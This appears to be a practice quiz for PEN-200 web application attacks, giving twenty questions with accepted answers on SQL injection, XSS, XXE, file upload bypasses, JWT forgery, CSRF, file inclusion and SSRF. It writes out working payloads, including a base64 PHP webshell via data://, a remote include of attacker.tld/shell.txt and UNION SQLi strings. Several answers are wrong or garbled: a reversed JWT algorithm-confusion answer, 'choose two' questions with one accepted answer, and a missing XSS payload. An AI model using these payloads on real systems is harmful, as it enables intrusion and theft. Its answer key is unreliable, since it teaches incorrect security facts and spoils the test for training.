PEN-200 Web Application Attacks — Timed 25 Questions

Question 1

During a web assessment, you identify an input field that reflects user-supplied data directly into a JavaScript context within a script tag. What is the most effective approach to achieve Cross-Site Scripting (XSS) in this scenario?

25 minute time limit — choose an answer to begin.

Accepted Answer

Inject a semicolon followed by a JavaScript function call to terminate the previous statement.. Injecting into a script block requires breaking out of the current string definition using characters like quotes and semicolons. Once the context is escaped, you can terminate the current command and inject arbitrary JavaScript. This scenario highlights the importance of context-aware output encoding, as standard HTML entity encoding often fails to prevent execution when data is placed inside existing executable blocks, leading to high-impact client-side attacks.

Answer

Submit a standard HTML payload like without closing existing strings.

Answer

Use URL encoding for all characters to bypass the server-side Web Application Firewall filters.

Answer

Wrap the payload in <img> tags with an onerror event handler.

Question 2

Which TWO of the following payloads would successfully confirm a UNION-based SQL Injection vulnerability in this specific PHP code snippet?

Accepted Answer

id=1 UNION SELECT 1,2-- -. The vulnerable code concatenates user input directly into the query, allowing for UNION-based injection. By appending a UNION statement, an attacker can append results from other tables. Identifying the correct column count is critical; these payloads demonstrate how to align data types and column numbers to successfully extract sensitive information from the backend database, a common objective when escalating access during an authorized penetration test.

Answer

id=1 AND 1=1

Answer

id=1 ORDER BY 3-- -

Answer

id=1' OR '1'='1

Question 3

Given this configuration, what is the most likely outcome when an attacker triggers an unhandled exception in the application from an external IP address?

Accepted Answer

The attacker will see the page specified in the defaultRedirect attribute.. The 'RemoteOnly' mode ensures that detailed error information is only displayed to requests originating from the local loopback address. For external users, the application redirects to a generic error page, hiding stack traces and internal path information. This configuration is a security control designed to prevent information leakage, forcing the attacker to find alternative methods for error discovery or fingerprinting the application environment.

Answer

The attacker will receive a detailed stack trace revealing server-side paths.

Answer

The application will crash and terminate the service process immediately.

Answer

The server will return a 403 Forbidden status code to the attacker.

Question 4

When auditing an application for Insecure Direct Object Reference (IDOR) vulnerabilities, which THREE actions should you perform to identify potential flaws?

Accepted Answer

Change a numeric ID in a GET request to see if data belonging to another user is returned.. IDOR vulnerabilities occur when applications expose internal object references, such as database keys, without verifying user authorization. Identifying these requires observing patterns in URL parameters, testing access control boundaries between different user roles, and attempting to manipulate identifiers. Systematic testing confirms whether an application relies on 'security by obscurity'—hoping users won't guess IDs—rather than enforcing proper server-side access controls.

Answer

Injecting into all input fields to test for reflection.

Answer

Test if changing a user's role in the session cookie gives administrative access.

Question 5

You are auditing an application and suspect it is vulnerable to XML External Entity (XXE) injection. Which THREE of the following are appropriate methods to confirm this vulnerability?

Accepted Answer

Defining an external entity that points to /etc/passwd and referencing it in the document.. XXE occurs when XML parsers are configured to process external entities, allowing attackers to access local files or perform SSRF. Confirming XXE requires inducing the parser to resolve malicious entity references. By testing for out-of-band communication or local file retrieval, you can verify if the parser is misconfigured to handle DTDs, which is critical for securing applications that process untrusted XML data.

Answer

Uploading a file with a .php extension to the profile picture upload field.

Answer

Using a payload that triggers a recursive entity expansion for Denial of Service.

Question 6

During an internal penetration test, an operator discovers a file upload feature on a target web application. The application attempts to restrict uploads by verifying the file extension against a hardcoded list on the server side. Which technique represents the most effective methodology to bypass this extension-based restriction during a web assessment?

Accepted Answer

Inject a URL-encoded null byte followed by a safe extension to terminate the string early in vulnerable underlying filesystem APIs.. Appending a null byte (%00) or leveraging multi-extension behaviors in legacy web servers can trick the backend validation logic while executing the desired payload. Understanding how web servers handle file parsing discrepancies is crucial for achieving Remote Code Execution during comprehensive assessments.

Answer

Modify the Content-Type header in the HTTP request to image/jpeg while uploading a PHP webshell with a standard extension.

Answer

Rename the file to use double extensions such as shell.php.jpg and rely on the default web server configuration to execute the first parsed extension.

Answer

Encode the entire filename using Base64 within the multipart form-data boundary to obfuscate the forbidden extension from the regex engine.

Question 7

You are auditing a file upload feature that restricts uploaded files based solely on extension blacklisting and client-side JavaScript validation. Which TWO techniques can you use to bypass these controls and achieve remote code execution on a Linux-based web server?

Accepted Answer

Uploading a file with an alternative executable extension such as .php5 or .phtml that is still processed by the backend web server. Bypassing weak file upload filters requires exploiting server-side parsing weaknesses or manipulating the transmission data. Since client-side validation is easily circumvented by intercepting requests with an HTTP proxy, testers must focus on server-side extension handling discrepancies and path traversal flaws to place executable scripts in web-accessible directories.

Answer

Modifying the client-side JavaScript validation function in the browser developer tools to allow PHP file extensions before submission

Answer

Modifying the Content-Type header in the HTTP request from application/octet-stream to text/plain to satisfy server-side MIME type checks

Answer

Disabling JavaScript completely in your browser settings to prevent the upload form from performing any input sanitization

Question 8

Refer to the exhibit. During a web application assessment, you intercept this login request and suspect it may be vulnerable to Parameter Pollution. Which behavior confirms that HTTP Parameter Pollution is present and successfully alters the application logic?

Accepted Answer

Appending an extra &debug=false parameter causes the application to evaluate the second value and disable administrative debugging features. HTTP Parameter Pollution occurs when an application processes multiple parameters with the same name differently depending on the underlying web technology or custom parsing logic. Confirming this vulnerability requires observing how the application handles duplicate parameter keys, such as prioritizing the first instance, the last instance, or concatenating them together into a single string.

Answer

The server responds with a 403 Forbidden status code because duplicate parameter names violate RFC specifications for HTTP request syntax

Answer

The web application crashes and returns a stack trace indicating an unhandled array index out of bounds exception in the request parser

Answer

The server automatically strips all trailing parameter assignments from the request body and processes only the initial authentication credentials

Question 9

During a web application assessment, you find that the login form accepts a username and password and returns a JWT in the response body. The JWT header is {"alg":"HS256","typ":"JWT"}. You capture a token and attempt to modify the "role" claim from "user" to "admin", but the signature verification fails. Which of the following actions is the most appropriate next step to test for a JWT algorithm confusion vulnerability?

Accepted Answer

Change the "alg" header to "RS256", obtain the public key, and sign the modified token using the public key as an HMAC secret.. Algorithm confusion in JWT occurs when a server expects an asymmetric algorithm like RS256 but a library accepts a symmetric algorithm like HS256. An attacker can change the alg header to RS256 and sign the token with the public key as an HMAC secret, potentially bypassing verification. This allows forging tokens with elevated privileges, such as changing the role claim to admin.

Answer

Brute-force the HMAC secret using a wordlist and then re-sign the modified token with the recovered key.

Answer

Change the "alg" header to "none" and remove the signature portion of the token, then replay the request.

Answer

Intercept the token and modify the "kid" header to point to a known file on the server, then sign with a self-generated key.

Question 10

You are testing a web application that uses a search function. When you enter a single quote in the search box, the application returns a database error. You suspect SQL injection. Which of the following payloads would best confirm a UNION-based SQL injection vulnerability by retrieving the database version, assuming a MySQL backend and that the original query returns three columns?

Accepted Answer

' UNION SELECT 1, version(), 3 -- -. A UNION-based SQL injection requires matching the number of columns in the original query. The payload ' UNION SELECT 1, version(), 3 -- - appends a SELECT statement with three columns, using version() to retrieve the MySQL version. The comment sequence -- - ensures the rest of the original query is ignored. If the application displays the version, the vulnerability is confirmed.

Answer

' AND 1=1 -- -

Answer

' OR 1=1 -- -

Answer

' UNION SELECT @@version, 2, 3 -- -

Question 11

During an assessment of a PHP e-commerce site, you find the product search page builds its query as `$sql = "SELECT id, name, price FROM products WHERE name LIKE '%" . $_GET['q'] . "%'";` and renders every returned column directly into the results table. The application returns database errors to the browser. Which single payload best confirms a UNION-based SQL injection and immediately reveals data you control?

Accepted Answer

q=' UNION SELECT 1,2,3-- -. The cleanest confirmation of UNION-based SQL injection is to inject a quoted UNION SELECT with the same number of columns as the original query and literal markers you can spot in the response. Numeric literals avoid type-mismatch errors and let you verify both injectability and column count before swapping in metadata functions. The trailing comment removes the residual quote and LIKE wildcard.

Answer

q=' UNION SELECT @@version,user(),database()-- -

Answer

q=1; DROP TABLE products-- -

Answer

q=' OR '1'='1

Question 12

A web application uses a cookie named 'auth' to store a JSON Web Token (JWT) that includes a role claim. During testing, you notice the token is signed with the HS256 algorithm and the application accepts the token without verifying the signature. Which of the following attacks would allow you to escalate privileges to an administrative role?

Accepted Answer

Modify the role claim in the JWT payload and re-sign it with a null signature.. When a JWT signature is not verified, an attacker can tamper with the token's payload to change claims such as the user role. By modifying the role to 'admin' and providing any signature, the server will accept the token and grant elevated privileges. Other attacks like algorithm confusion or brute-forcing are unnecessary because the fundamental signature check is missing. This highlights the importance of proper JWT validation.

Answer

Intercept the token and replay it to access admin endpoints.

Answer

Change the algorithm in the JWT header to 'none' and remove the signature.

Answer

Brute-force the HS256 secret key to sign a modified token.

Question 13

You are exploiting a blind SQL injection vulnerability in a MySQL database. The application returns different content depending on whether the injected condition is true or false. You want to determine the first character of the database name. Which payload would correctly test if the first character is 'a' using a boolean-based technique?

Accepted Answer

AND SUBSTRING(database(),1,1) = 'a'. The payload AND SUBSTRING(database(),1,1) = 'a' directly extracts the first character of the database name and compares it to 'a'. This is a precise boolean-based test that returns true if the first character is 'a', allowing the attacker to infer the character. Other options either test the wrong character, check the length, or compare the entire database name, which does not achieve the goal.

Answer

AND database() LIKE 'a%'

Answer

AND ASCII(SUBSTRING(database(),1,1)) = 97

Answer

AND LENGTH(database()) = 1

Question 14

You are testing a web application that allows users to upload profile pictures. The application checks the file extension against a blacklist that includes 'php', 'asp', and 'jsp'. You want to upload a web shell to execute commands on the server. Which of the following file extensions is most likely to bypass the blacklist and still be executed as a script by an Apache server with mod_php enabled?

Accepted Answer

.php5. Blacklist-based extension filters often miss alternative extensions that the server still maps to a scripting engine. Apache with mod_php commonly executes .php5 as PHP, so it bypasses a blacklist that only blocks .php. Other extensions like .php.jpg, .phtml, or .phar are either not executed as PHP or require specific configurations. The most reliable choice is .php5, which is frequently enabled by default.

Answer

.phtml

Answer

.php.jpg

Answer

.phar

Question 15

While testing a Node.js web application, you notice the session cookie `connect.sid` is set without the `SameSite` attribute and the application performs state-changing actions via simple POST forms with no CSRF token. You want to demonstrate a cross-site request forgery that changes the victim's email address to an attacker-controlled value. Which approach best demonstrates the vulnerability in a modern browser?

Accepted Answer

Host an HTML page containing an auto-submitting form with `method="POST"` and `action` pointing to the target's email-change endpoint, then lure the authenticated victim to it.. CSRF works by making the victim's browser send an authenticated request to the target. A cross-site auto-submitting HTML form is the canonical delivery method because simple form POSTs are not subject to CORS preflight. The missing `SameSite` attribute allows the session cookie to be sent, and the lack of a CSRF token means the server accepts the forged request.

Answer

Use `fetch('https://target/change-email', {method:'POST', credentials:'include', body:'email=attacker@evil'})` from the attacker's page.

Answer

Inject a `<script>` tag on the attacker page that calls `document.forms[0].submit()` on a form targeting the victim's session.

Answer

Embed `<img src="https://target/change-email?email=attacker@evil">` in the attacker page to trigger the change via GET.

Question 16

You are testing a web application that uses a PHP session cookie. You suspect that the session cookie is vulnerable to session fixation. Which TWO of the following actions would best help you confirm and exploit a session fixation vulnerability? (Choose two.)

Accepted Answer

After setting a known session ID, authenticate as a legitimate user and then check if the session ID remains unchanged.. Session fixation occurs when an application does not regenerate the session ID after authentication. To confirm, you can set a known session ID and see if the server accepts it. Then, after the victim logs in, if the session ID remains the same, the attacker can use that session ID to hijack the authenticated session. These two steps directly test and exploit the vulnerability.

Answer

Inject a session ID via a URL parameter and observe if the application uses it.

Answer

Check if the session cookie has the HttpOnly flag set.

Answer

Attempt to brute-force the session ID to predict valid sessions.

Question 17

You are assessing a PHP application that uses `include($_GET['page'] . '.php');` to load page content, and you want to demonstrate Local File Inclusion that leads to remote code execution. The server runs PHP 8 with `allow_url_include=Off` and `open_basedir` unset. Which two techniques are most likely to achieve code execution? (Choose two.)

Accepted Answer

Use a PHP filter chain payload with `php://filter/convert.iconv.../resource=...` to generate arbitrary PHP code from an existing file.. With `allow_url_include=Off`, remote wrappers like `php://input` and `data://` cannot be used for inclusion, so the operator must rely on local techniques. PHP filter chains synthesize executable code from a benign local file, and log poisoning injects PHP into a file the include can reach. Both avoid remote inclusion and work under the stated configuration.

Answer

Exploit a writable upload directory by uploading a `.jpg` containing PHP code, then including it via path traversal.

Answer

Set `page=php://input` and send PHP code in the POST body, relying on the include to execute it.

Answer

Use `data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+` as the page parameter to execute inline PHP.

Question 18

You are testing a PHP-based web application on a Linux server. A product page accepts a `template` parameter that is passed directly to an `include()` statement without any validation. During reconnaissance you discover the server runs Apache with `mod_php`, the document root is `/var/www/html`, and the PHP configuration has `allow_url_include = On` and `allow_url_fopen = On`. You want to demonstrate remote code execution rather than simple file disclosure. Which approach is most likely to achieve code execution in this environment?

Accepted Answer

Set `template=http://attacker.tld/shell.txt`, where `shell.txt` contains PHP code inside `<?php ?>` tags, and ensure the attacker host serves it with a `Content-Type: text/plain` response header.. When `allow_url_include` and `allow_url_fopen` are both enabled, PHP's include family will fetch and evaluate PHP code from HTTP URLs. Pointing the unsanitized `template` parameter at an attacker-controlled PHP file therefore produces remote code execution under the web server account. The other wrappers either only disclose file contents or introduce extra conditions that are unnecessary when direct remote inclusion is already available.

Answer

Set `template=php://filter/convert.base64-encode/resource=/etc/passwd` so the wrapper encodes the target file and the application renders the decoded contents back to you.

Answer

Set `template=/var/log/apache2/access.log` and then send a request whose User-Agent header contains PHP code, relying on log poisoning to achieve execution.

Answer

Set `template=data://text/plain,<?php system($_GET['c']); ?>` and append `&c=id` to the request so the data wrapper streams the PHP payload into the include statement.

Question 19

Which of the following describes a successful Path Traversal attack in a web application?

Accepted Answer

Using dot-dot-slash sequences to read /etc/passwd on a Linux server.. Path Traversal allows attackers to access files outside the intended web root directory by manipulating input parameters that contain file paths. By using dot-dot-slash sequences, an attacker escapes the restricted directory. This is a critical vulnerability that can lead to the exposure of configuration files, sensitive system data, or source code, which is why validating input is a fundamental security requirement.

Answer

Injecting JavaScript into a form field to capture user session cookies.

Answer

Submitting a crafted SQL query to retrieve data from the database.

Answer

Overloading the server with requests to exhaust system memory.

Question 20

An application is vulnerable to Server-Side Request Forgery (SSRF). You want to use this to scan the internal network. Which target should you attempt to access first to verify the vulnerability?

Accepted Answer

The local loopback address (127.0.0.1) or localhost.. The local loopback address is the most reliable target for verifying SSRF. If the server fetches content from 127.0.0.1, it confirms that the application is making requests on behalf of the user. This is a critical prerequisite before attempting to pivot into the internal network, as it proves that the application's request-handling mechanism can be subverted to interact with restricted infrastructure.

Answer

A known external public domain like google.com.

Answer

The default gateway IP of the server's network.

Answer

An arbitrary private IP address like 10.0.0.1.